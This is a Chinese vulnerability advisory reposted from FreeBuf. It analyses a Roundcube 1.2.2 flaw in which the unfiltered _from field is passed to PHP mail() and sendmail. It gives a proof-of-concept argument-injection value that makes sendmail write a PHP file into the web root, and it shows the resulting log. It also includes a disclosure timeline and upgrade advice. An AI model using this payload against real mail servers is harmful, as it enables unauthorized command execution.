本文原創(chuàng)作者:鳶尾
來(lái)源:FreeBuf.COM
簡(jiǎn)介
Roundcube是一款被廣泛使用的開(kāi)源的電子郵件程序,在全球范圍內(nèi)有很多組織和公司都在使用。在過(guò)去的1年里,僅SourceForge上的鏡像文件被下載次數(shù)就超過(guò)26萬(wàn),這還僅僅是實(shí)際使用群體中的一小部分。在服務(wù)器上成功安裝Roundcube之后,它會(huì)提供給用戶一個(gè)web接口,通過(guò)驗(yàn)證的用戶就可以通過(guò)Web瀏覽器收發(fā)電子郵件。
在本文中,我們將看到攻擊者是如何僅僅通過(guò)Roundcube1.2.2(>=1.0)寫(xiě)封郵件,就能對(duì)底層操作系統(tǒng)實(shí)現(xiàn)任意命令執(zhí)行。這是個(gè)高危漏洞,由于使用默認(rèn)安裝方式的Roundcube都受影響,所以我們強(qiáng)烈建議使用Roundcube的管理員盡快更新到1.2.3版本。
RIPS(一款自動(dòng)化PHP代碼靜態(tài)分析工具)花了25秒的時(shí)間完整分析了整個(gè)應(yīng)用程序,檢測(cè)出了以上圖表所展示的安全漏洞。雖然圖表中列舉了很多問(wèn)題,但是大部分都不太嚴(yán)重,因?yàn)樗鼈儗儆诎惭b模塊的一部分或者是遺留代碼。不過(guò),我們還是建議修補(bǔ)這些漏洞,以及將遺留代碼刪除,防止這些代碼被不安全的使用或與其他安全漏洞形成組合漏洞。
以上分析結(jié)果可以在我們的RIPS demo中看到。注意,我們?cè)诜治鼋Y(jié)果中僅展示了本文所述漏洞
漏洞利用條件
- Roundcube必須配置成使用PHP的mail()函數(shù)(如果沒(méi)有指定SMTP,則是默認(rèn)開(kāi)啟)
- PHP的mail()函數(shù)配置使用sendmail(默認(rèn)開(kāi)啟)
- 關(guān)閉PHP配置文件中的safe_mode(默認(rèn)開(kāi)啟)
- 攻擊者必須知道或者猜出網(wǎng)站根目錄的絕對(duì)路徑
以上條件都很容易達(dá)成,反過(guò)來(lái)說(shuō)也就意味著網(wǎng)絡(luò)中存在該漏洞的系統(tǒng)有很多。
漏洞描述
在Roundcube1.2.2或者更早的版本里,用戶的輸入未經(jīng)過(guò)濾就被傳到了PHP內(nèi)建函數(shù)mail()的第五個(gè)參數(shù),這已被證明是有很高安全風(fēng)險(xiǎn)的。問(wèn)題的根本在于mail()函數(shù)的調(diào)用會(huì)導(dǎo)致PHP調(diào)用sendmail程序。該參數(shù)允許被傳入其他參數(shù),以配置sendmail。同時(shí)sendmail還提供了-X選項(xiàng)將郵件通信數(shù)據(jù)記錄到一個(gè)文件,攻擊者可以利用此選項(xiàng)在網(wǎng)站根目錄下創(chuàng)建一個(gè)惡意PHP文件,以下代碼可觸發(fā)漏洞。
program/steps/mail/sendmail.inc
$from = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST, true, $message_charset);
?
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);
在以上代碼中,獲取到POST參數(shù)_from的值,然后傳入到deliver_message()方法中作為第二個(gè)參數(shù)$from調(diào)用。
program/lib/Roundcube/rcube.php
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
?
if (filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN))
$sent = mail($to, $subject, $msg_body, $header_str);
else
$sent = mail($to, $subject, $msg_body, $header_str, “-f$from”);
然后該方法將$from參數(shù)傳遞到mail()函數(shù)中。目的是將自定義的from頭通過(guò)-f選項(xiàng)傳遞給sendmail程序。
過(guò)濾不嚴(yán)
有趣的事,似乎from參數(shù)已被正則表達(dá)式過(guò)濾。一般而言,$from參數(shù)中不能有空格,這也使得-f選項(xiàng)后面不能附加其他參數(shù)。使用類(lèi)似$IFS的空格常量或是注入新的shell命令`都不成功。然而,應(yīng)用中存在一個(gè)會(huì)導(dǎo)致過(guò)濾失效邏輯缺陷。
program/steps/mail/sendmail.inc
else if ($from_string = rcmail_email_input_format($from)) {
if (preg_match(‘/(\S+@\S+)/‘, $from_string, $m))
$from = trim($m1, ‘<>‘);
else
$from = null;
}
在105 行,從用戶控制的$from變量(不包含空格)里提取出一封郵件。不過(guò)只有當(dāng)rcmail_email_input_format()返回TRUE時(shí)才能成功提取。接下來(lái),我們就好好分析下這個(gè)函數(shù)。
program/steps/mail/sendmail.inc
function rcmail_email_input_format($mailto, $count=false, $check=true)
{
global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
// simplified email regexp, supporting quoted local part
$email_regexp = ‘(\S+|(”[^“]+”))@\S+‘;
?
// replace new lines and strip ending ‘, ‘, make address input more valid
$mailto = trim(preg_replace($regexp, $replace, $mailto));
$items = rcube_utils::explode_quoted_string($delim, $mailto);
$result = array();
foreach ($items as $item) {
$item = trim($item);
// address in brackets without name (do nothing)
if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) { $item = rcube_utils::idn_to_ascii(trim($item, ‘<>‘));
$result[] = $item;
}
?
else if (trim($item)) {
continue;
}
?
}
if ($count) {
$RECIPIENT_COUNT += count($result);
}
return implode(‘, ‘, $result);
}
在863行
if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) {
該函數(shù)使用了另一個(gè)正則表達(dá)式,郵件匹配之后在行末使用$符。攻擊者使用的payload只要不滿足這個(gè)正則條件,在foreach循環(huán)后,$result數(shù)組會(huì)保持空值。在這種情況下,876行的implode()函數(shù)返回一個(gè)空字符串(等價(jià)于FALSE),然后$from的值就不會(huì)被過(guò)濾和改變了。
概念驗(yàn)證
當(dāng)使用Roundcube發(fā)送郵件時(shí),HTTP請(qǐng)求是可以被截?cái)嗪痛鄹牡摹Mㄟ^(guò)修改_from參數(shù)在文件系統(tǒng)上創(chuàng)建一個(gè)惡意文件。
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
這將允許攻擊者在web根目錄創(chuàng)建一個(gè)可執(zhí)行文件rce.php,其內(nèi)容就是_subject參數(shù)的值。執(zhí)行完請(qǐng)求之后,將會(huì)創(chuàng)建包含以下內(nèi)容的文件。
04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<< format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]
因?yàn)猷]件數(shù)據(jù)沒(méi)有被編碼,subject參數(shù)會(huì)以明文方式保存。這就允許將PHP標(biāo)簽寫(xiě)入到shell文件中。
時(shí)間線
2016/11/21 首次聯(lián)系供應(yīng)商
2016/11/22 供應(yīng)商在Github上修復(fù)漏洞
2016/11/28 供應(yīng)商同意協(xié)調(diào)披露
2016/11/28 供應(yīng)商發(fā)布Roundcube1.2.3
總結(jié)
Roundcube已經(jīng)可以抵御來(lái)自網(wǎng)絡(luò)中的很多攻擊向量,且有一個(gè)龐大的社區(qū)進(jìn)行維護(hù),本文中所描述的漏洞實(shí)屬少見(jiàn)。在自動(dòng)化檢測(cè)工具的幫助下,我們不僅可以檢測(cè)到這種少見(jiàn)的漏洞,還節(jié)省了大量人力,將更多的精力放在其他方向。
參考資料
- https://sourceforge.net/projects/roundcubemail/files/stats/timeline?dates=2015-12-01+to+2016-12-01[return]
- https://github.com/roundcube/roundcubemail/wiki/Configuration#sending-messages-via-smtp [return]
- http://php.net/manual/en/mail.configuration.php [return]
- http://php.net/manual/en/ini.sect.safe-mode.php [return]
原文地址:http://www.freebuf.com/vuls/122658.html